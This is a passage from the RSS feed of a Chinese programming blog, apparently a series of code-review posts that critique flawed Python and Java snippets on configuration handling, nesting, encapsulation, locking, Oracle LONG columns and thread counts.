&lt;p&gt;&lt;strong&gt;问题：&lt;/strong&gt; 经过一段时间，发现类似读取配置项的代码段 &lt;em&gt;散落&lt;/em&gt; 到我们源码中多个地方。从功能上讲，代码也没什么问题；但从可维护角度来看，若后面对配置增加约束或者配置文件挪位置，侧需要修改多处。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;重构：&lt;/strong&gt; 对它的改进也很简单，对一个服务的多个配置文件集中管理，提供 &lt;em&gt;封装&lt;/em&gt; 对象。改进之后代码如下，并且做了一点小的容错性增强：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[1] 检查配置文件存在时才加入dict中，解决当文件不存在时，直接调用Properties(file)抛异常问题。&lt;/li&gt;
&lt;li&gt;[2] 当配置项不存在时，支持默认值，解决代码中直接对Dict取下标操作时当不存在Key抛异常问题。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码13：好代码须匠心打磨</title>
      <link>http://lanlingzi.cn/post/technical/2020/0912_code/</link>
      <pubDate>Sat, 12 Sep 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0912_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;目前写Python的同学越来越多了，但动态语言无类型约束，导致Commit时难以review。先来看一段我们的代码：&lt;/p&gt;
&lt;p&gt;优化前的代码：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;handle&lt;/span&gt;(self, data, rules):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rule_type = rules[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#228b22&#34;&gt;# 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        rule_list = rules[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;rules&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#228b22&#34;&gt;# 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        res = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#658b00&#34;&gt;str&lt;/span&gt;(rule_type).lower() != RULES_MAPPING:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;ValueError&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;type of rule should be &amp;#39;rules_mapping&amp;#39;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt; rule &lt;span style=&#34;color:#8b008b&#34;&gt;in&lt;/span&gt; rule_list:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            col_name = rule[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;column&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#228b22&#34;&gt;# 2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; rule[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;function&amp;#39;&lt;/span&gt;].lower() == &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;cast&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#228b22&#34;&gt;# 3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                mapping_dict, other = self.parse_cast(rule[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;mapping&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                res = data[col_name].apply(self.case_func, args=(mapping_dict, other))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;elif&lt;/span&gt; rule[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;function&amp;#39;&lt;/span&gt;].lower() == &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;in&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                mapping_dict, other = self.parse_in(rule[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;mapping&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                res = data[col_name].apply(self.in_func, args=(mapping_dict, other))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;elif&lt;/span&gt; rule[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;function&amp;#39;&lt;/span&gt;].lower() == &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;binning&amp;#39;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                res = data[col_name].apply(self.binning_func, args=(rule[&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;mapping&amp;#39;&lt;/span&gt;]))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;raise&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;ValueError&lt;/span&gt;(&lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#39;not supported function&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#228b22&#34;&gt;# 4 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; res
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;代化之后的代码：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码12：好代码应表意直白</title>
      <link>http://lanlingzi.cn/post/technical/2020/0815_code/</link>
      <pubDate>Sat, 15 Aug 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0815_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;下面代码都来源于部门某一中间件产品(java)的源码，代码风格（此风格非格式风格而是逻辑思维风格）并且在整个源码中具有普遍性。&lt;/p&gt;
&lt;p&gt;代码一：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;run&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;while&lt;/span&gt;(!(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;stopped&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;get&lt;/span&gt;())) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;synchronized&lt;/span&gt; (&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;lock&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;while&lt;/span&gt; (&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;endTime&lt;/span&gt; - System.&lt;span style=&#34;color:#658b00&#34;&gt;currentTimeMills&lt;/span&gt;() &amp;gt; 0L) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;stopped&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;get&lt;/span&gt;()) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                            &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;lock&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;wait&lt;/span&gt;(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;this&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;endTime&lt;/span&gt; - System.&lt;span style=&#34;color:#658b00&#34;&gt;currentTimeMillis&lt;/span&gt;());
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#228b22&#34;&gt;// 省略主要业务逻辑
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;                    } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;catch&lt;/span&gt; (IntrruptedExecption e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        &lt;span style=&#34;color:#228b22&#34;&gt;// 省略日志打印
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;                    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                } &lt;span style=&#34;color:#228b22&#34;&gt;// 注意：这个while之后并没有其它的逻辑
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        } &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;catch&lt;/span&gt;(Throwable e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#228b22&#34;&gt;// 省略日志打印
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;代码意思是可能在等待的最大时间内，中间可以被通知执行主逻辑，然后再进入等待下次通知。在易读性上的问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;双重while， 双重try/catch，增加代码嵌套层次，代码有六层，由于跨度较大，掩盖了要表达的业务逻辑，不容易看懂。&lt;/li&gt;
&lt;li&gt;第一个while判断是 &lt;code&gt;否定之否定&lt;/code&gt; 判断，不够直接，stoppped不需采AtomicBoolean，使用volatile变量即可。&lt;/li&gt;
&lt;li&gt;代码有bug(嵌套太深隐藏了bug)，当超过最大时间时，若没有设置stopped标识位，空循环占CPU。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;建议优化：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;由于synchronized是对lock的wait方法同步，wait后面的逻辑并不需要再同步保护，不应该锁整个while，减少锁的粒度。可以对wait逻辑单独抽取一个方法，直白表示是要waitNotify。&lt;/li&gt;
&lt;li&gt;去掉&lt;code&gt;否定之否定&lt;/code&gt;。把AtomicBoolean stopped变成volatile boolean running，判断更直白，running表示还得继续。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码11：通过封装降低耦合</title>
      <link>http://lanlingzi.cn/post/technical/2020/0808_code/</link>
      <pubDate>Sat, 08 Aug 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0808_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;最近在走读某一老产品的代码，发现存在一个普遍不好的实践，代码类似如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;Class1&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; Map&amp;lt;String, String&amp;gt; store = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; HashMap&amp;lt;&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;private&lt;/span&gt; List&amp;lt;Class2&amp;gt; queue = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; ArrayList&amp;lt;&amp;gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;//... 省略其它的字段与其Getter/Setter方法
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;此类的特点是：只有一些集合字段与其Getter/Setter，而对字段的使用却是如下：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;method1&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#228b22&#34;&gt;// ... 省略其它逻辑
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#228b22&#34;&gt;// 在其它的类中的方法实现中，却通过Getter方法获取集合对象加锁来处理
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;   &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;synchronized&lt;/span&gt;(class1.&lt;span style=&#34;color:#658b00&#34;&gt;getStore&lt;/span&gt;()) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     String value = class1.&lt;span style=&#34;color:#658b00&#34;&gt;getStore&lt;/span&gt;().&lt;span style=&#34;color:#658b00&#34;&gt;get&lt;/span&gt;(key);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (value == &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#228b22&#34;&gt;// ... 省略其它逻辑
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;        value = createValue();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        class1.&lt;span style=&#34;color:#658b00&#34;&gt;getStore&lt;/span&gt;().&lt;span style=&#34;color:#658b00&#34;&gt;put&lt;/span&gt;(key, value);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   &lt;span style=&#34;color:#228b22&#34;&gt;// ... 省略其它逻辑
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;代码的问题是很明显：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Class1中的成员直接被Get出去，散落在各个类中操作，缺少对其操作的方法封装，破坏了类的封装性，带来了数据的耦合。&lt;/li&gt;
&lt;li&gt;同步加锁在Owner对象之外，其出发点是以其它方法逻辑为切入，而不是从Owner对象的数据全生命周期安全来思考，很容易造成加锁不全。&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码10：提升性能，表设计很重要</title>
      <link>http://lanlingzi.cn/post/technical/2020/0726_code/</link>
      <pubDate>Sun, 26 Jul 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0726_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;在这个月，我曾经分析处理两个与数据操作相关的性能问题。根因是缺少对表的严谨设计。通过搜索些资料，便有此博文分享给大家。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例一&lt;/strong&gt;：某服务对接Oracle，在某些场景下出现读取表数据失败。现象是日志会报如下堆栈信息：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Caused by java.&lt;span style=&#34;color:#658b00&#34;&gt;sql&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;SQLException&lt;/span&gt;: Stream has already bean closed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at oracle.&lt;span style=&#34;color:#658b00&#34;&gt;jdbc&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;driver&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;LongAccessor&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;getBytesInternel&lt;/span&gt;(LongAccessor.&lt;span style=&#34;color:#658b00&#34;&gt;java&lt;/span&gt;:127)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at oracle.&lt;span style=&#34;color:#658b00&#34;&gt;jdbc&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;driver&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;Accessor&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;getBytes&lt;/span&gt;(Accessor.&lt;span style=&#34;color:#658b00&#34;&gt;java&lt;/span&gt;:897)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at oracle.&lt;span style=&#34;color:#658b00&#34;&gt;jdbc&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;driver&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;LongAccessor&lt;/span&gt;.&lt;span style=&#34;color:#658b00&#34;&gt;getString&lt;/span&gt;(LongAccessor.&lt;span style=&#34;color:#658b00&#34;&gt;java&lt;/span&gt;:154)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;从堆栈来看，是访问Long类型的字段值(通过LongAccessor字面猜出)，获取Bytes的流强制关闭了，为什么有时会关闭，过长过大？通过Google搜索才发现，我们跳入使用Long类型坑中。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码9：提升性能，线程数合适就行</title>
      <link>http://lanlingzi.cn/post/technical/2020/0718_code/</link>
      <pubDate>Sat, 18 Jul 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0718_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;两周前，参与某一老产品的性能优化有如下收获：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;同事说，我配置了 &lt;strong&gt;1000个线程&lt;/strong&gt; ，但是总消耗时间还是需要 &lt;strong&gt;10分钟&lt;/strong&gt; 左右，似乎没有真正的并发。&lt;/li&gt;
&lt;li&gt;经过分析代码，狂改一通代码，结果是：只配置了 &lt;strong&gt;32个线程&lt;/strong&gt; ，总消耗时间下降至 &lt;strong&gt;44秒&lt;/strong&gt; 。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这个产品已有一定的年头，采用Java开发，但Maven配置的编译source/target还是 1.6（直接把配置修改为1.8整个产品编译会有问题。对于老产品，稳定优先，维护者并没有太多的动力升级到1.8，因为一升级需要对所有历史分支都升级并验证）。 为了线程安全，代码中大量地存在如下Double-Check写法(伪代码)，无法享受Java高版本带来的红利，并不高效：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Description desc = cache.&lt;span style=&#34;color:#658b00&#34;&gt;get&lt;/span&gt;(key);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (desc == &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;synchronized&lt;/span&gt;(cache) {  &lt;span style=&#34;color:#228b22&#34;&gt;// 这个是全局锁，极大影响并发
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (desc == &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;null&lt;/span&gt;) {  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            desc = getDescription(....);  &lt;span style=&#34;color:#228b22&#34;&gt;// 此方法还会调用其它类似写法的Cache，主要逻辑是查询以及反射类，以及嵌套类，效率并不高
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;            cache = &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; CopyOnWriteMap(cache) &lt;span style=&#34;color:#228b22&#34;&gt;// 对象Copy
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;            cache.&lt;span style=&#34;color:#658b00&#34;&gt;add&lt;/span&gt;(key, desc);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; desc;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码8：提升性能，线程级缓存复用</title>
      <link>http://lanlingzi.cn/post/technical/2020/0705_code/</link>
      <pubDate>Sun, 05 Jul 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/0705_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
